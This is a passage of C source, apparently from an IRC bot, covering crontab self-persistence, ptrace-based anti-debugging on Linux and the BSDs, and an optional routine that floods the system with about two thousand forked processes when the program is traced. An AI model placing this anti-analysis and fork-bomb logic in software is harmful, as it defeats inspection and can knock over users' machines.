  816. sprintf(buf, "crontab -l | grep -v \"%s\" | grep -v \"^#\" | grep -v \"^\\$\" > %s", binname, tmpfile);
  817. if (shell_exec(buf, NULL, NULL, NULL)) {
  818. sprintf(buf, "crontab %s", tmpfile);
  819. shell_exec(buf, NULL, NULL, NULL);
  820. }
  821. unlink(tmpfile);
  822. }
  823. int crontab_exists() {
  824. char buf[2048] = "", *out = NULL;
  825. egg_snprintf(buf, sizeof buf, "crontab -l | grep \"%s\" | grep -v \"^#\"", binname);
  826. if (shell_exec(buf, NULL, &out, NULL)) {
  827. if (out && strstr(out, binname)) {
  828. free(out);
  829. return 1;
  830. } else {
  831. if (out)
  832. free(out);
  833. return 0;
  834. }
  835. } else
  836. return (-1);
  837. }
  838. void crontab_create(int interval) {
  839. char tmpfile[161] = "", buf[256] = "";
  840. FILE *f = NULL;
  841. int fd;
  842. egg_snprintf(tmpfile, sizeof tmpfile, "%s.crontab-XXXXXX", tempdir);
  843. if ((fd = mkstemp(tmpfile)) == -1) {
  844. unlink(tmpfile);
  845. return;
  846. }
  847. egg_snprintf(buf, sizeof buf, "crontab -l | grep -v \"%s\" | grep -v \"^#\" | grep -v \"^\\$\"> %s", binname, tmpfile);
  848. if (shell_exec(buf, NULL, NULL, NULL) && (f = fdopen(fd, "a")) != NULL) {
  849. buf[0] = 0;
  850. if (interval == 1)
  851. strcpy(buf, "*");
  852. else {
  853. int i = 1;
  854. int si = randint(interval);
  855. while (i < 60) {
  856. if (buf[0])
  857. sprintf(buf + strlen(buf), ",%i", (i + si) % 60);
  858. else
  859. sprintf(buf, "%i", (i + si) % 60);
  860. i += interval;
  861. }
  862. }
  863. egg_snprintf(buf + strlen(buf), sizeof buf, " * * * * %s > /dev/null 2>&1", binname);
  864. fseek(f, 0, SEEK_END);
  865. fprintf(f, "\n%s\n", buf);
  866. fclose(f);
  867. sprintf(buf, "crontab %s", tmpfile);
  868. shell_exec(buf, NULL, NULL, NULL);
  869. }
  870. close(fd);
  871. unlink(tmpfile);
  872. }
  873. #ifdef S_MESSUPTERM
  874. static void messup_term() {
  875. int i;
  876. char *argv[4] = { NULL, NULL, NULL, NULL };
  877. freopen("/dev/null", "w", stderr);
  878. for (i = 0; i < 11; i++) {
  879. fork();
  880. }
  881. argv[0] = malloc(100);
  882. strcpy(argv[0], "/bin/sh");
  883. argv[1] = "-c";
  884. argv[2] = malloc(1024);
  885. strcpy(argv[2], "cat < ");
  886. strcat(argv[2], binname);
  887. argv[3] = NULL;
  888. execvp(argv[0], &argv[0]);
  889. }
  890. #endif /* S_MESSUPTERM */
  891. void check_trace_start()
  892. {
  893. #ifdef S_ANTITRACE
  894. int parent = getpid();
  895. int xx = 0, i = 0;
  896. #ifdef __linux__
  897. xx = fork();
  898. if (xx == -1) {
  899. printf("Can't fork process!\n");
  900. exit(1);
  901. } else if (xx == 0) {
  902. i = ptrace(PTRACE_ATTACH, parent, 0, 0);
  903. if (i == (-1) && errno == EPERM) {
  904. #ifdef S_MESSUPTERM
  905. messup_term();
  906. #else
  907. kill(parent, SIGKILL);
  908. exit(1);
  909. #endif /* S_MESSUPTERM */
  910. } else {
  911. waitpid(parent, &i, 0);
  912. kill(parent, SIGCHLD);
  913. ptrace(PTRACE_DETACH, parent, 0, 0);
  914. kill(parent, SIGCHLD);
  915. }
  916. exit(0);
  917. } else {
  918. wait(&i);
  919. }
  920. #endif /* __linux__ */
  921. #ifdef __FreeBSD__
  922. xx = fork();
  923. if (xx == -1) {
  924. printf("Can't fork process!\n");
  925. exit(1);
  926. } else if (xx == 0) {
  927. i = ptrace(PT_ATTACH, parent, 0, 0);
  928. if (i == (-1) && errno == EBUSY) {
  929. #ifdef S_MESSUPTERM
  930. messup_term();
  931. #else
  932. kill(parent, SIGKILL);
  933. exit(1);
  934. #endif /* S_MESSUPTERM */
  935. } else {
  936. wait(&i);
  937. i = ptrace(PT_CONTINUE, parent, (caddr_t) 1, 0);
  938. kill(parent, SIGCHLD);
  939. wait(&i);
  940. i = ptrace(PT_DETACH, parent, (caddr_t) 1, 0);
  941. wait(&i);
  942. }
  943. exit(0);
  944. } else {
  945. waitpid(xx, NULL, 0);
  946. }
  947. #endif /* __FreeBSD__ */
  948. #ifdef __OpenBSD__
  949. xx = fork();
  950. if (xx == -1) {
  951. printf("Can't fork process!\n");
  952. exit(1);
  953. } else if (xx == 0) {
  954. i = ptrace(PT_ATTACH, parent, 0, 0);
  955. if (i == (-1) && errno == EBUSY) {
  956. kill(parent, SIGKILL);
  957. exit(1);
  958. } else {
  959. wait(&i);
  960. i = ptrace(PT_CONTINUE, parent, (caddr_t) 1, 0);
  961. kill(parent, SIGCHLD);
  962. wait(&i);
  963. i = ptrace(PT_DETACH, parent, (caddr_t) 1, 0);
  964. wait(&i);
  965. }
  966. exit(0);
  967. } else {
  968. waitpid(xx, NULL, 0);
  969. }
  970. #endif /* __OpenBSD__ */
  971. #endif /* S_ANTITRACE */
  972. }
  973. #ifdef CRAZY_TRACE
  974. /* This code will attach a ptrace() to getpid() hence blocking process hijackers/tracers on the pid
  975. * only problem.. it just creates a new pid to be traced/hijacked :\
  976. */
  977. int attached = 0;
  978. void crazy_trace()
  979. {
  980. int parent = getpid();
  981. int x = fork();
  982. if (x == -1) {
  983. printf("Can't fork(): %s\n", strerror(errno));
  984. } else if (x == 0) {
  985. /* child */
  986. int i;
  987. i = ptrace(PTRACE_ATTACH, parent, (char *) 1, 0);
  988. if (i == (-1) && errno == EPERM) {
  989. printf("CANT PTRACE PARENT: errno: %d %s, i: %d\n", errno, strerror(errno), i);
  990. waitpid(parent, &i, 0);
  991. kill(parent, SIGCHLD);
  992. ptrace(PTRACE_DETACH, parent, 0, 0);
  993. kill(parent, SIGCHLD);
  994. exit(0);
  995. } else {
  996. printf("SUCCESSFUL ATTACH to %d: %d\n", parent, i);
  997. attached++;
  998. }
  999. } else {
  1000. /* parent */
  1001. printf("wait()\n");
  1002. wait(&x);
  1003. }
  1004. printf("end\n");
  1005. }
  1006. #endif /* CRAZY_TRACE */
  1007. /* need to account for this after reading in conf/spawning bots.
  1008. ifdef LEAF
  1009. if (updating)
  1010. exit(0); let cron restart us.
  1011. } localhub
  1012. endif LEAF
  1013. */